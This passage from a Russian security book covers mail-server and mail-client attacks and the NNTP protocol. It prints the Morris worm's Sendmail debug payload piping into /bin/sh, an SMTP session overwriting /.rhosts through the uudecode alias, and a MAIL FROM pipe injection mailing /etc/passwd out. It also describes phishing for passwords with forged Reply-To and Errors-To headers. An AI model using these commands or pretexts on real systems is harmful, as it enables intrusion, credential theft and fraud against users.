Дополнение. Анонимное получение корреспонденции

 

Не имейте никаких иллюзий насчет денег. Их нельзя есть. Их нельзя носить на себе. Единственное, что можно делать с деньгами - это их тратить. Именно для этого они и предназначены.

Эрл Стенли Гарднер «дело об удачливом проигравшем»

 

При получении почты обычным способом сервер определяет (а некоторых случаях и запоминает) IP‑адрес подключившегося клиента. Но иногда получателю нежелательно раскрывать свой адрес, даже если он динамический. Провайдер, выделяя абоненту IP, запоминает (может запоминать) время, в которое он был выдан и имя пользователя, которому он был выдан. Поэтому, существует возможность установить личность получателя письма.

Для сохранения анонимности можно воспользоваться специально разработанным скриптом, который читает корреспонденцию и выкладывает ее на какой-нибудь анонимный ftp‑сервер. Это позволяет убить сразу двух зайцев – скрыть собственный адрес и обойти один из недостатков POP3 протокола – отсутствие докачки.

В самом деле, если в ящике лежит сообщение огромных размеров, а связь то и дело рвется, может потребоваться немалое количество попыток, пока, наконец, письмо не попадет на локальный компьютер. Напротив, скрипт, выполняющийся на сервере с быстрым каналом, выполнит ту же операцию за значительно меньшее время, и, выложив сообщение на ftp, значительно облегчит клиенту получение письма, поскольку, теперь отпадет необходимость начинать процесс перекачки с самого начала после каждого разрыва соединения.

В приведенном ниже примере в качестве альтернативы Perl использован язык Python,основные достоинства которого – простота и огромное количество всевозможных библиотек, поставляемых вместе с языком. Ниже будет продемонстрировано использование одной из них.

Библиотека poplib скрывает от пользователя механизмы взаимодействия клиента с POP3‑сервером, однако, значительно упрощает процесс программирования. Минимально функциональная программа, читающая все письма, поступившие к этому моменту в почтовый ящик, может выглядеть так (на диске, прилагаемом к книге, он находится в файле “/src/pop.py”):

 

· #!/usr/local/bin/python

· import poplib

· print "Python’s Mail client"

· print "Connecting..."

· M = poplib.POP3("mail.ru")

· print "Login..."

· M.user("MyLogin")

· print "Password...."

· M.pass_("MyUnpublishedPassword")

· print "Get List of message"

· numMessages = len(M.list()[1])

· print "Numers of message: ",numMessages

· for i in range(numMessages):

· for j in M.retr(i+1)[1]:

· print j

 

Вероятно, единственной проблемой окажется поиск сервера с установленным интерпретатором Python. Малая распространенность этого языка затрудняет его использование злоумышленниками, которым пришлось бы либо обзавестись собственным сервером, либо получить права администратора для удаленной установки Python.

 

Атака на почтовый сервер

 

Ø В этой главе:

Ø Типы атак

Ø Перехват почтового трафика

Ø Червь Морриса

Ø Ошибка “uudecode”

Ø Ошибка неявной поддержки конвейера

Ø Угроза от спамеров

 

 

Почтовый сервис – один из древнейших ресурсов Internet, еще в семидесятых годах ставший как объектом, так и орудием атак злоумышленников. Десяток-другой лет назад почтовые сервера содержали огромное количество дыр, некоторые из которых остались открытыми и по сей день.

Существует несколько типов атак: атаки, основанные на ошибках реализации программного обеспечения (срыв стека, использование конвейера); атаки, основанные на неправильной конфигурации сервера и атаки, основанные на уязвимости сетевых протоколов (внедрение ложного DNS, перехват трафика).

Даже при условии отсутствия ошибок реализации правильно настроенный почтовый сервер может быть атакован, если не предпринять особых мер предосторожности, о которых осведомлен далеко не каждый администратор.

Например, пусть Алиса отправляет Бобу письмо, а Ева хочет его перехватить. Процесс пересылки письма выглядит так: почтовый сервер Алисы (скажем, aserver.com) смотрит на адрес получателя (скажем, [email protected]) и обращается к «знакомому» DNS‑серверу с просьбой определить IP‑адрес сервера “bserver.com”. Получив ответ, он устанавливает с сервером получателя SMTP‑соединение и передает ему послание. Если Ева знает адреса серверов Алисы и Боба[224], она сможет сфальсифицировать ответ DNS‑сервера и сообщить адрес своего собственного сервера, а не bserver.com!

В большинстве случаев протокол DNS реализован поверх UDP‑протокола, а протокол UDP работает без установки соединения, принимая пакеты от кого бы то ни было на заданный порт. Для определения личности отправителя предусмотрен специальный идентификатор, который не известен злоумышленнику[225]. Идентификатор представляет собой 16‑битовое значение, поэтому, послав всего лишь 2¹⁶ пакетов, Ева может быть уверена, что один из них жертва воспримет как ответ от настоящего DNS. А если идентификатор не абсолютно случайное число (как это часто и случается), то количество требуемых попыток существенно уменьшается.

Обсуждение перехвата трафика путем подобного «подмятия» DNS‑сервера – тема отдельного разговора, выходящая за рамки рассказа об уязвимости почтовых соединений. Позже она будет детально рассмотрена в главе «Атака на DNS сервер»[226], здесь же достаточно заметить – если в e-mail адресе не указан IP (т.е. например, [email protected]), а получатель не находится на том же сервере, что и отправитель, то перехват такого сообщения в принципе возможен.

Анализ почты позволяет злоумышленнику почерпнуть множество информации, облегчающей дальнейшее проникновение в систему, и расширяет границы социальной инженерии. Кроме того, в корпоративной (да и не только) переписке часто содержатся сведения и документы, представляющие огромный интерес для конкурентов и промышленно-финансовых шпионов всех мастей. Единственный выход – шифровать всю конфиденциальную корреспонденцию утилитами, наподобие PGP.

Впрочем, атаки, направленные на перехват переписки, не получили большого распространения. Намного чаще злоумышленники пытаются овладеть удаленной машиной, и почтовый сервер одно из возможных средств для достижения такой цели. Сложность и запутанность почтового программного обеспечения затрудняют его тестирование, а оставленные ошибки могут представлять лазейку для злоумышленника.

Первый громкий прецедент произошел осенью 1988 года, когда по сети расползся червь Морриса. Один из способов распространения заключался в использовании отладочного режима в программе SendMail. Отладочный режим служил для удаленного управления почтовым демоном и позволял выполнить команды, передаваемые в теле письма. Остальное, как говорится, было делом техники. Вирус посылал «затравку» на языке Си с указанием откомпилировать ее и запустить. «Затравка» стирала заголовки почты, способные пролить свет на ее происхождение, и, связавшись с отправителем, «перетягивала» на сервер все остальные модули червя.

Ниже приводится фрагмент кода вируса (с небольшими сокращениями), демонстрирующий как он использовал отладочный режим (жирным цветом выделены строки, передаваемые им на сервер по SMTP-соединению).

 

· send_text(s, " debug ");

·...

· #define MAIL_FROM " mail from:</dev/null>\n "

· #define MAIL_RCPT " rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh; exit 0\">\n "

·...

· send_text(s, MAIL_FROM);

· i = (random() & 0x00FFFFFF);

· sprintf(l548,MAIL_RCPT, i, i);

· send_text(s, l548);

·

 

Вскоре после атаки лаз был закрыт, но червь Морриса послужил наглядным доказательством принципиальной возможности атак и стал хорошим стимулом к поиску других, еще никем не обнаруженных ошибок. В том, что они существуют, – никто не сомневался. Так оно и получилось.

Некто (имени которого история не сохранила) обратил внимание, что у многих почтовых серверов в файле «/etc/aliases» содержится строка приблизительного следующего содержания: «decode: |/usr/bin/uudecode». Если послать на такой сервер письмо, адресованное получателю «decode», оно попадает в руки программы “uudecode”, предназначенной для распаковки UUE-сообщений.

 

Врезка «для начинающих»

Необходимость передавать двоичные файлы через почтовые системы, не допускающие использование символов с кодами менее 32 и более 127, привела к появлению UUE кодировки. Идея, лежащая в ее основе, заключается в следующем: три байта (24 бита) разбиваются на четыре шестибитовых «осколка», каждый из которых суммируется с кодом пробела (0х20), образуя транспортабельный текст.

Таким образом, закодированный текст состоит из следующих символов (и только из них): `!"#$%&'()*+,-./012356789:;<=>[email protected][\]^_, каждый из которых может быть передан по любым телекоммуникационным каналам, в том числе и семибитовым.

Получатель проделывает на свой стороне обратный процесс, – из каждого символа вычитает код пробела, и из каждых четырех «осколков» закодированного текста собирает по три байта оригинального послания.

 

Типичное UUE-сообщение выглядит приблизительно так (все необязательные поля для упрощения понимания опущены):

 

· begin 644 filename

· =D>JEJR"AKJ'@H"`M(.&OH.$@I*7@I:*N(0T``0(`

· `

· end

 

Слово “filename”, стоящее в заголовке, обозначает ни что иное, как имя файла, в который отправитель предлагает записать раскодированный текст. Большинство расшифровщиков не проверяют наличие файла на существование и затирают его содержимое без запроса подтверждения пользователя.

Если демон SendMail обладает наивысшими привилегиями (а так чаще всего и бывает), программа uudecode наследует их при запуске. Следовательно, существует возможность перезаписать любой файл в системе.

Например, злоумышленник может внести в файл “.rhosts” строку вида «+ +». В файле “.rhosts” содержится перечень адресов доверительных узлов и имен пользователей, которым с этих самых узлов разрешен вход на сервер без предъявления пароля. А комбинация «+ +» открывает свободный доступ всем пользователям со всех узлов сети.

Атака может выглядеть приблизительно так (символ “;” обозначает строку комментариев):

 

·; Создание файла, содержащего строку “+ +”

· cat > tmp

· + +

· ^C

·; uue-кодирование, с указанием раскодировать этот файл в /.rhosts

· % uuencode tmp /.rhosts

· begin 644 /.rhosts

· $*R`K"@``

· `

· end

·; Соединение с сервером жертвы по 25 порту для передачи сообщения

· telnet 127.0.0.1 25

·; Соединение установлено сервер вернул приглашение

· 220 kpnc.krintel.ru SimpleSMTP 1.0 Sun, 26 Mar 2000 16:42:49 +0400

·; Чествование сервера

· helo kpnc

· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

·; Указание адреса отправителя

· mail from: [email protected]

· 250 kpnc Sender ok

·; Указание псевдонима ‘decode’ в качестве имени получателя

· rcpt to: decode

· 250 decode Recipient ok

·; Ввод закодированного сообщения в теле письма

· data

· 354 Enter mail, end with "." on a line by itself

· begin 644 /.rhosts

· $*R`K"@``

· `

· end

·.

· 250 Ok

·; Выход

· quit

· 221 kpnc.krintel.ru closing connection

 

Теперь злоумышленник (и не только он – любой пользователь с любого узла) сможет зайти на сервер и, в лучшем случае, оставить администратору свое graffiti (автограф, то есть) на видном месте. В худшем же…

Эта ошибка в тех или иных вариациях встречается и сегодня. Многие программы‑декодеры (например, распаковщики) допускают указание абсолютных путей[227]. Защита файла от перезаписи (в тех случаях, когда она есть) не панацея – злоумышленник может создать новый файл, поместив его, например, в такую папку как «Автозагрузка». Рано или поздно система запустит его, и код злоумышленника получит управление.

Другая возможность выполнить код на удаленном сервере заключается в неявной поддержке конвейера в полях “MAIL FROM” и “RCPT TO”. Часто даже сами разработчики не подозревают о такой уязвимости, поскольку она не всегда очевидна. Например, команда “open” языка Perl может не только открывать файл, но и запускать его, если в имени присутствует символ “|”, обозначающий вызов конвейера.

Подобные попытки самостоятельной интерпретации передаваемых функции параметров встречаются достаточно часто. Особенно они характерны для UNIX‑систем, где конвейер является одним из самых популярных средств межпроцессорного взаимодействия. Это действительно очень удобный прием, но далеко не всегда должным образом отмеченный в сопроводительной документации.

Разработчики, использующие в свой программе библиотеки сторонних поставщиков, не всегда проверяют, как поведет себя та или иная функция, обнаружив символ конвейера, особенно если об этом ничего не написано в документации. Похожая проблема возникает и при разработке совместных проектов: один разработчик не может знать всех тонкостей функционирования модулей другого разработчика, а в результате такой нестыковки полученная программа может неявным образом поддерживать конвейер.

Например, популярный почтовый демон SendMail вплоть до версии 5.5[228] включительно содержал множество ошибок, одна из которых продемонстрирована ниже (знаком “;” обозначены комментарии):

 

·; Соединение с сервером жертвы по 25 порту для передачи сообщения

· telnet kpnc.krintel.ru 25

· 220 target.com Sendmail 5.55 ready at Sun, 26 Mar 2000 16:51:12

·; Чествование сервера

· helo kpnc

· 250 kpnc.krintel.ru Hello kpnc.krintel.ru [195.161.41.239]

·; Использование конвейера в поле MAIL FROM. Следующая команда пересылает содержимое файла паролей по

· требуемому адресу

· mail from: "|/bin/mail [email protected] < /etc/passwd"

· 250 "|/bin/mail [email protected] < /etc/passwd"... Sender ok

·; Задание заведомо неверного получателя

· rcpt to: user12345

· 550 user12345... User unknown

·; Игнорирование ответа сервера и попытка ввода тела сообщения

· data

· 354 Enter mail, end with "." on a line by itself

·; Содержание сообщения значения не имеет

·.

· 250 Mail accepted

·; Выход

· quit

 

Ошибка проявлялась только в том случае, когда команда “DATA” использовалась после задания несуществующего получателя в поле “RCPT TO”. С точки зрения нормального человека такое сочетание не имеет никакого смысла, поэтому разработчикам и в голову не приходило протестировать его. Ошибки подобного типа очень сложно обнаружить как самим разработчикам, так и злоумышленникам. Но злоумышленники часто имеют неограниченное время для бесконечных экспериментов и самых причудливых манипуляций, которые рано или поздно приносят плоды.

Точно так, многие почтовые серверы оказываются уязвимы перед тривиальным срывом стека. Например, в феврале 2000 года, в SMTP сервере MMDF версии 2.44a-B4, работающего под управлением SCO-UNIX обнаружилась ошибка переполнением буфера в полях “MAIL FROM” и “RPPT TO”, позволяющая злоумышленнику выполнить любой код под привилегией root.

А несколькими месяцами ранее – в ноябре 1999 года, ошибка переполнения была обнаружена в POP3\SMTP сервере ZetaMail версии 2.1. Пароль, передаваемый командой “PASS”, помещался в буфер фиксированного размера, и слишком длинная строка вылезала за его границы.

В том же ноябре 1999 появилось сообщение о наличие аналогичной уязвимости в версиях 3.2x SMTP-шлюза Interscan VirusWall, работающего под управлением Windows NT. На этот раз переполнение буфера происходило во время приветствия сервера командой “HELO” (если это приветствие оказывалось через чур многословным).

 

Врезка «замечание»

«От добра добра не ищут» говорит народная мудрость. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием «Вирусная преграда [229]», оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус.

Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера. Чем больше программного обеспечения установлено на сервере, тем выше риск существования ошибок, способных позволить злоумышленнику проникнуть в систему.

 

Примерно в то же самое время обнаружилась уязвимость IMAIL POP3-сервера. Версии 5.07, 5.05 и 5.06 не контролировали длину имени пользователя, передаваемую командой “USER”. Такую же участь разделил Avirt Mail Server (версии 3.3a, 3.5). Сообщение о возможности переполнении буфера командой “PASS”, появилось в начале ноября все того же 1999 года.

Ошибки сыплются как из Рога Изобилия, регулярно обнаруживаясь, по крайней мере, по десятку штук в месяц. А сколько еще существует не выявленных ошибок вообще невозможно представить! Поэтому, любая уверенность администратора в защищенности его узла несколько наивна.

Но настоящей чумой почтовых серверов становятся не злобные взломщики, а вездесущие спамеры. Рассылая письма по десяткам (а порой и сотням) тысяч адресов, они плотно загружают сервер интенсивной работой. Поскольку, все отправляемые письма обрабатываются в порядке «социалистической очереди», пока эта очередь не опустеет (а спамеры создают очень длинную очередь) отправка корреспонденции остальными пользователями становится невозможна. Весьма вероятно, что сервер, не выдержав такой сумасшедшей нагрузки, повиснет.

Но настоящие неприятности начнутся, когда на администратора обрушится шквал негодования и обвинений в массовой рассылке. И весьма вероятно, что после этого инцидента администраторы других серверов, занесут адрес сервера пострадавшего администратора в «черный список», запрещая прием писем с указанного адреса. Вслед за этим начнут негодовать и пользователи пострадавшего администратора, поскольку отправка почты на большинство узлов станет невозможной.

Избежать такой печальной перспективы можно правильной настойкой сервера. Достаточно запретить отправку писем от нелокальных пользователей по нелокальным адресам или выполнять аутентификацию пользователя перед отправкой сообщения. Большинство существующих на сегодняшний день защит грамотный злоумышленник сможет обойти (проникнуть на сервер, используя другие лазы и изменить конфигурацию; проникнуть на один из компьютеров локальных пользователей и внедрить в него программу, рассылающую письма; наконец, самые опытные смогут фальсифицировать IP‑адрес и выдать себя за локальных пользователей). Но подавляющее большинство спамеров не обладают надлежащей квалификацией, а те, кто ей обладают, как правило, не занимаются рассылкой. Поэтому, даже самые примитивные заслоны остановят спамера, который не атакует какой-то один конкретный узел, а ищет общедоступный сервер, открытый для массовой рассылки.

 

Атака на почтового клиента

 

Ø В этой главе:

Ø Похищение паролей у клиента

Ø Фальсификация писем и социальная инженерия

 

Развитие электронной почты привело к резкому усложнению программного обеспечения. Современный почтовый клиент представляет собой очень сложную систему, поддерживающую несколько протоколов, способную отображать HTML и знающую множество разнообразных алгоритмов кодировки текста. Механизмам же защиты и качеству тестирования кода до сих пор не уделяется должного внимания, поэтому большинство пользователей электронной почты могут быть легко атакованы.

Наибольший интерес для злоумышленника представляет: похищение пароля (с целью доступа к корреспонденции жертвы), фальсификация сообщений и проникновение на компьютер жертвы (т.е. получение возможности выполнения на нем своего кода). Ниже каждая из этих атак будет детально рассмотрена.

Стремление подглядеть чужие письма возникает даже в тех случаях, когда эти письма заведомо не содержат ничего интересного. А если речь идет о корпоративной или деловой переписке, то простое желание узнать секрет ближнего своего превращается в настоящую охоту, часто называемую шпионажем.

Поэтому, на всех почтовых ящиках вист замок – требование ввести имя пользователя и пароль. В зависимости от загруженности сервера и пропускной способности канала аутентификация может занимать от долей секунды до нескольких секунд.

Если посчитать время, необходимое для подбора шестисимвольного пароля, состоящего только из заглавных латинских символов, то получится 0+1+26²+26³+26⁴+26⁵+26⁶ = 321 272 407 секунд или около 3 719 дней[230]. Срок, заведомо нереальный для взлома. Поэтому, злоумышленники практически никогда подбирают пароли. Вместо этого они пытаются похитить их у клиента.

 

Врезка «замечание»

На самом же деле, полученная оценка стойкости пароля неверна и завышена не на один порядок. Большинство почтовых серверов поддерживают возможность указания некоторой информации, наподобие даты своего рождения (или даты рождения своего хомячка), девичьей фамилии матери, которую и запрашивают у пользователя, забывшего пароль.

Легко посчитать, что всевозможных дат даже в последнем столетии было всего-навсего порядка 386*100, т.е. порядка 4 * 10⁴. При скорости 1 попытка в секунду все варианты можно перебрать всего за 11 часов! А если откинуть заведомо ложные варианты, то значительно быстрее – ведь зачастую пользователем вводится не абсолютно случайная информация.

 

Протокол POP3 разрабатывался в те незапамятные времена, когда никаких секретов в Internet не существовало, и защита электронных почтовых ящиков была столь же символичной, как и примитивные запоры, охраняющие ящики для бумажной почты. Никакой шифровки паролей предусмотрено не было, и они передавались по сети в открытом виде.

Позже появилась необязательная для реализации команда APOP, поддерживающая распространенную схему аутентификации «запрос-отклик» (подробнее о схеме запрос-отклик рассказывается в главе «Атака на Windows NT»), основанную на алгоритме MD5, но в силу некоторых причин, массового распространения она не получила, и даже сегодня многие клиенты поддерживают только открытые пароли.

Поэтому, вся атака сводится к перехвату пароля в незашифрованном виде передаваемого по сети. В Ethernet‑сетях это реализуется изучением всех, проходящих через адаптер злоумышленника, пакетов, а в Internet прибегают к «подмятию» DNS‑сервера. Если в настойках клиента пользователь указал не цифровой IP адрес сервера, а его доменное имя, то клиент будет вынужден обратиться к DNS с соответствующим запросом. Злоумышленник же может, закидывая клиента ворохом ложных DNS-ответов, ввести жертву в заблуждение и тогда соединение будет установлено не с почтовым сервером, а с компьютером злоумышленника и туда же будет передан и пароль!

Защититься от такой атаки можно использованием шифрованных паролей (если клиент и сервер пользователя поддерживают такой сервис), либо же прописыванием IP‑адреса почтового сервера в настойках клиента.

Но существует и другой способ похищения пароля – попросить его у владельца. Злоумышленник может послать фальшивое письмо от имени администратора системы, сообщающее, например, об учащении подбора паролей и предложении сменить свой старый пароль, на новый, значительно более длинный. Естественно, от жертвы требуют сообщить не только «новый», но и текущий пароль! Подобная схема активно используется злоумышленниками, похищающими и пароли на почтовые ящики, и пароли для входа в Internet, и номера пластиковых карт, и другую конфиденциальную информацию.

Жертвы до сих пор остаются необычайно доверчивыми, но все же постепенно начинают присматриваться к адресам отправителей. Скажем, если письмо пришло с [email protected], то обман, скорее всего, удастся разоблачить и на такую удочку уже не попадается никто, ну практически никто.

Поэтому, представляет интерес рассмотреть, как злоумышленники ухитряются фальсифицировать адреса отправителей, получая при этом ответы. Технически ничего не стоит отправить письмо от имени [email protected], но ведь и ответ получит admin, а не Вася Пупкин!

Самое простое, что используют злоумышленники: указывают в поле “Reply‑To” адрес, отличный от адреса отправителя. Если жертва не обратит на это обстоятельство внимание[231], то она окажется введена в заблуждение и вполне способна сообщить требуемую информацию. Но это слишком известный примем, представляющий сегодня не более чем исторический интерес.

А вот о чем действительно знает не каждый пользователь: если получатель не существует, то письмо возвращается либо отправителю, либо пересылается на адрес, указанный в поле “Errors‑To:”. Злоумышленник выбирает правдоподобный, но в действительности не существующий адрес (скажем, [email protected]), а в поле “Errors‑To” указывает свой почтовый адрес (желательно, не бросающийся в глаза).

Несмотря на всю свою наивность, такие способы достаточно эффективны, а доверчивости жертв не видно конца. Однако, корпоративного клиента, в отличие от домашнего пользователя, обмануть не так-то легко. Но у злоумышленника есть и другая возможность получить доступ к интересующей его информации – проникнуть на компьютер жертвы! Ошибки реализации почтовых клиентов очень часто позволяют сделать это без особого труда.

 

Протокол NNTP

 

Ø В этой главе:

Ø Краткая история возникновения NNTP

Ø Организация конференций

Ø Синхронизация сообщений

Ø Чтение сообщений

Ø Указатель на текущее сообщение и его перемещение

Ø Создание новых сообщений

Ø Обязательные и необязательные поля заголовка

 

Другим видом сетевого общения (помимо почты) являются «ньюсы» - конференции, предназначенные для открытой переписки и свободного обмена информацией. В отличие от электронной почты, каждое сообщение доставляется группе лиц, хотя может адресоваться и какому-то одному конкретному человеку.

 

Врезка «информация»

USENET: /yoos'net/ or /yooz'net/ [from `Users' Network'] n. A distributed {bboard} (bulletin board) system supported mainly by UNIX machines. Originally implemented in 1979--1980 by Steve Bellovin, Jim Ellis, Tom Truscott, and Steve Daniel at Duke University, it has swiftly grown to become international in scope and is now probably the largest decentralized information utility in existence. As of early 1993, it hosts well over 1200 {newsgroup}s and an average of 40 megabytes (the equivalent of several thousand paper pages) of new technical articles, news, discussion, chatter, and {flamage} every day.

USENET [от ‘User’ Network’], сущ. Распределенная система ‘электронных досок объявлений’ (смотри bboard), поддерживая в основном машинами под управлением UNIX. Первые шаги в этом направлении были сделаны в 1979 – 80 годах Стивом Белловин, Джимом Эллисом, Томом Траскоттом и Стривом Даниэлем в Университете Дьюка, но вскоре система выросла до невероятных размеров и стала международной. Возможно на сегодняшний день (1993 год) это самая большая децентрализованная информационная система во всем мире, поддерживающая около 1200 телеконференций (смотри newsgroup), и ежедневный трафик USENET [новые статьи по технике, дискуссии, новости, болтовня и ругань (смотри flamage)] в среднем составляет около 40 мегабайт, что в напечатанном виде составит ~20 000 страниц.

(Выдержка из «Словаря Жаргона» Эрика Раймонда)

 

Теоретически конференцию можно организовать и на базе POP3 и SMTP протоколов, но при этом возникнет множество технических проблем, решение которых разумнее возложить на отдельный протокол.

 

Врезка «информация» *

Любопытно, но длительное время адрес [email protected] был предназначен для рассылки сообщений всем абонентам этой почтовой системы. Дырка впервые была использована «доброжелателями» в Новогоднюю Ночь, поздравивших окружающих с этим «замечательным» праздником. В ответ посыпались оскорбления, и стихийно возникло некое подобие конференции, конец которой был положен администраторами сервера. А жаль…

 

Врезка «информация» *

На заре развития Internet, когда преобладали операционные системы UNIX, для организации конференций (да, впрочем, и электронной почты) часто использовался протокол UUCP (UNIX to UNIX Copy). Местами он чудом сохранился до сих пор, но большинство узлов перешло на более шустрый и гибкий NNTP протокол.

 

Таким протоколом стал NNTP (Network News Transport Protocol), представляющий собой нечто промежуточное между IMAP4 и POP3 протоколами. Независимо от организации групп новостей, все они связаны в единую иерархическую структуру. Образно можно уподобить конференции дереву папок, а сообщения – хранящихся в них файлам. Фактически можно рассматривать каждую группу новостей, как папку IMAP4, со своими собственными атрибутами.

Однако протокол NNTP содержит много нововведений, не встречавшихся ранее в почтовых системах. Одна из решаемых им проблем – обеспечение синхронизации сообщений. Тысячи NNTP‑серверов, порой даже не подозревающих о существовании друг друга, должны иметь идентичное содержимое. На какой бы из них не поступило новое сообщение, оно должно быть разослано всем остальным серверам.

Здесь не будет приводиться подробное описание используемых алгоритмов синхронизации. Не то, чтобы они были слишком сложны для понимания, но механизмы взаимодействия NNTP‑серверов скрыты от пользователя и существуют далеко не в единственном варианте – от тривиальной рассылки, до самоорганизующейся распределенной базы данных.

 

Врезка «для начинающих»

Бесплатных news-серверов много, но хороших среди них очень мало. Чаще всего конференции открыты только на чтение. Посылка сообщений (если даже она и разрешена) обычно никуда не уходит дальше этого сервера. Поэтому ничего не остается, кроме как воспользоваться услугами, предоставляемыми собственным Internet-провайдером.

К счастью, существует масса специальных программ для поиска общедоступных NNTP-серверов. Неплохо себя зарекомендовал “New Hunter” (http://www.slip.net/~rain/nh/) механизм работы которой будет рассмотрен в «дополнении».

 

Для подключения к NNTP‑серверу необходимо установить с ним TCP‑соединение по сто девятнадцатому порту.

 

 

Рисунок 012 Подключение к NNTP-серверу

 

Если соединение установлено успешно, через секунду на экране telnet‑клиента должно появится приглашение приблизительного вида:

 

· 201 news.rnd.runnet.ru InterNetNews NNRP server INN 2.2 21-Jan-1999 ready (no posting).

 

Код ответа 201 (в тексте он выделен жирным шрифтом) обозначает, что сервер не позволяет клиенту создавать новые сообщения (иными словами постинг [232] запрещен). В том случае, когда постинг разрешен, сервер возвращает код 200 и строку наподобие «posting ok».

 

Врезка «замечание»

Полное описание кодов возврата содержится в RFC‑977, и поэтому не приводится в данной книге.

 

Список доступных конференций можно получить с помощью команды “LIST”. При медленном соединении эта операция может занять продолжительное время, поскольку количество конференций обычно очень велико. Поэтому ниже приводится лишь фрагмент ответа сервера:

 

· LIST

· 215 Newsgroups in form "group high low flags".

· control 0004971978 0004971979 n

· junk 0000000001 0000000002 n

· test 0000010149 0000010150 y

· a.bsu.programming 0000000718 0000000715 y

· a.bsu.religion 0000009622 0000009613 y

· a.bsu.talk 0000000190 0000000184 y

· aaa.inu-chan 0000000000 0000000001 m

· ab.arnet 0000000045 0000000046 m

· ab.general 0000001678 0000001677 y

· akr.internet 0000000379 0000000375 y

·...

 

Пара чисел, следующих за именем группы, указывает номера первого и последнего из доступных сообщений.

 

Врезка «для начинающих» *

Ограниченные дисковые ресурсы сервера не позволяют ему сохранять все сообщения. По истечении некоторого промежутка времени (варьирующегося зависимости от настройки от недели до месяца) старая корреспонденция удаляется. Предполагается, что подписчики регулярно посещают сервер, и все необходимое сохраняют на своем локальном компьютере.

Конечно, это чрезвычайно неудобное решение доставляет много хлопот пользователям и засоряет их жесткие диски. Поэтому, в сети возникли специализированные сервера, занимающиеся архивированием всех (или избранных) конференций. Некоторые из них имеют развитую систему поиска, без которой было бы немыслимо ориентироваться в миллионах сообщений.

Большой популярностью пользуется служба «Deja News» (http://dejanews.com), позволяющая не только читать, но отправлять сообщения в конференции.

 

Флаг, расположенный в конце каждой строки, может принимать один из трех следующих значений: “y”, “n” и “m”. Значение “y” говорит о том, что создание новых сообщений в этой конференции разрешено; “n” запрещает такую операцию и “m” обозначает модерируемою конференцию.

 

Врезка «для начинающих»

В модерируемые конференции напрямую писать нельзя. Во избежание засорения трафика малоинформативными сообщениями необходимо переслать свое сообщение ведущему (модератору) группы, который по своему усмотрению может поместить его в конференции, а может и не поместить.

На самом же деле, как будет показано в следующей главе «Атака на NNTP-сервер», в большинстве случаев это ограничение можно с легкостью обойти.

 

Для чтения сообщений из группы ее необходимо предварительно выбрать командой “GROUP”, например, так:

 

· GROUP akr.internet

· 211 5 375 379 akr.internet

 

Код 211 сигнализирует об успешном завершении операции (в случае отсутствия запрошенной группы возвращается код 411), за ним следует число хранящихся на сервере сообщений, с номерами первого и последнего из них.

Одним из способов чтения сообщений заключается в использовании команды “ARTICLE”, принимающей в качестве аргумента либо уникальный идентификатор “Message‑Id”, либо порядковый номер сообщения.

 

Врезка «замечание»

Наряду с «ARTICLE» существуют команды «BODY» и «HEAD». Последняя из них возвращает заголовок сообщения; “BODY” – тело, а “ARTICLE”, эквивалентно HEAD+BODY.

 

Пример, приведенный ниже, демонстрирует получение сообщения, путем использование команды ARTICLE:

 

· ARTICLE 375

· 220 375 <[email protected]> article

· From: "Chris Robins" <[email protected]>

· Newsgroups: akr.internet,alt.best.of.internet,alt.community.local-money,alt.comp

· References: <01bf95ce$af112040$LocalHost@lislen>

· Subject: Easy Money!

· X-Priority: 3

· X-MSMail-Priority: Normal

· X-Newsreader: Microsoft Outlook Express 5.00.2919.6600

· Message-ID: <[email protected]>

· Date: Sun, 26 Mar 2000 09:21:28 -0500

· NNTP-Posting-Host: 209.47.93.156

· X-Trace: nnrp1.uunet.ca 954080409 209.47.93.156 (Sun, 26 Mar 2000 09:20:09 EST)

· NNTP-Posting-Date: Sun, 26 Mar 2000 09:20:09 EST

· Xref: news.rnd.runnet.ru akr.internet:375

·

· Interested in learning about how you could ear money just for being online,

· then go to my website at:

· http://www.makemoney.f2s.com/makemoney.htm

·

· If you don't believe me then view my checks at:

· http://www.makemoney.f2s.com/checks.htm

·.

 

Если вызвать команду “ARTICLE” без аргументов, она вернет текущее сообщение. Две команды, “NEXT” и “LAST” служат для перемещения маркера текущего сообщения на одну позицию вперед и назад соответственно. Поэтому, можно не задумываться о номерах сообщений и читать их последовательно одно за другим, пока не надоест.

Например, так:

 

· NEXT

· 223 376 <[email protected]> Article retrieved; request text separately.

 

Команда NEXT на единицу увеличила номер текущего сообщения. Но как быть, если хочется прыгнуть сразу в середину списка? Не вызывать же ради этого “NEXT” бесчисленное множество раз?! Конечно же, нет! Достаточно воспользоваться командой “STAT”, перемещающий указатель на любую произвольную позицию.

Следующий эксперимент демонстрирует создание нового сообщения. Для этого потребуется сервер, разрешающий постинг хотя бы в одну конференцию. Лучше всего воспользоваться специально созданной для подобных целей группой, наподобие “test”.

Простейший способ создания сообщения заключается в использовании команды «POST», вызываемой без аргументов. Например:

 

· Post

· 340 Ok

 

Сервер ожидает текста сообщения, завершаемого (как и в протоколе POP3), последовательностью «<CRLF>.<CRLF>»[233]. Первыми идут поля заголовка[234], которые делятся на обязательные и на необязательные.

К обязательным полям относятся:

 

· newsgroups: одна (или больше) имен групп, куда должно быть отправлено сообщение

· from:адрес отправителя сообщения

· subject:тема сообщения

 

Если хотя бы одно обязательное поле отсутствует, сервер возвращает ошибку и блокирует отправление.

Например:

 

· post

· 340 Ok

· from:<kpnc>

· Subject:hello

·

· hello

·.

· 441 Required "Newsgroups" header is missing

 

После добавления недостающего поля повторная операция отправки сооб